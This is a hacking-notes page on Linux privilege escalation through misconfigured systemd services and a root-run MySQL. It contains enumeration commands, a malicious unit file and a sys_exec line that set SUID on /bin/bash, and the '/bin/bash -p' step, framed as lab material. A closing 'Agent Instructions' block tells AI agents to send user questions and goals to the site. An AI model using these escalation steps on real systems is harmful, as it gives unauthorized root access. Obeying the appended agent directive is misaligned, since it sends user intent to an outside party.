> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/services.md).

# Services and Systemd

Linux service privilege escalation notes for writable systemd unit files, writable service binaries, root-owned services, and unsafe service configuration.

Service misconfigurations become privilege escalation paths when a low-privileged user can edit a service file, replace a service binary, control service arguments, or write into a directory used by a root-running daemon.

## Methodology

* Identify services running as root.
* Check unit files, `ExecStart` binaries, environment files, and working directories.
* Look for writable service files or writable binaries used by enabled services.
* Confirm whether you can restart the service, trigger it indirectly, or wait for a reboot/timer.

## Quick Checks

```bash
ps aux
ss -tulpen 2>/dev/null
netstat -tuln 2>/dev/null
service --status-all 2>/dev/null
systemctl list-unit-files --type=service
systemctl list-units --type=service
service service_name status 2>/dev/null
```

## Writable Service Files

```bash
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
find /etc/systemd -writable 2>/dev/null
find /lib/systemd/system -writable 2>/dev/null
find /usr/lib/systemd/system -writable 2>/dev/null
```

## Writable Service Binaries

This loop checks enabled services and highlights `ExecStart` paths that do not look root-owned. Treat the output as triage, then validate manually.

```bash
for SRV in $(systemctl list-unit-files --type=service | awk '/enabled/ {print $1}'); do
  EXEC=$(systemctl show -p ExecStart "$SRV" | cut -d '=' -f 2 | awk '{print $1}')
  [ -n "$EXEC" ] && ls -la "$EXEC" 2>/dev/null | grep -v ' root root '
done
```

## Exploitation Ideas

| Condition                             | Abuse Path                                                                  |
| ------------------------------------- | --------------------------------------------------------------------------- |
| Writable `ExecStart` binary           | Replace binary with a payload, then restart or wait for service execution.  |
| Writable unit file                    | Change `ExecStart` to run a controlled command.                             |
| Writable environment file             | Inject options or paths consumed by the service.                            |
| Writable working directory            | Abuse relative paths, plugins, logs, sockets, or temp files.                |
| Service runs as root and parses files | Check parser bugs, command injection, unsafe includes, and writable config. |

Example unit payload for a lab:

```ini
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'chmod +s /bin/bash'
```

Reload and start only when you have permission or a confirmed authorized test path:

```bash
systemctl daemon-reload
systemctl start vulnerable.service
/bin/bash -p
```

## MySQL Running As Root

If MySQL or MariaDB runs as root and dangerous UDF/function execution is available, it may become a direct root path.

```bash
ps aux | grep -i mysql
mysql -u root -p
```

Inside MySQL, depending on available plugins/functions:

```sql
SELECT sys_exec('chmod +s /bin/bash');
```

Then:

```bash
/bin/bash -p
```

This is highly environment-dependent. Confirm the daemon user, plugin availability, and exact database privileges before relying on it.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/services.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
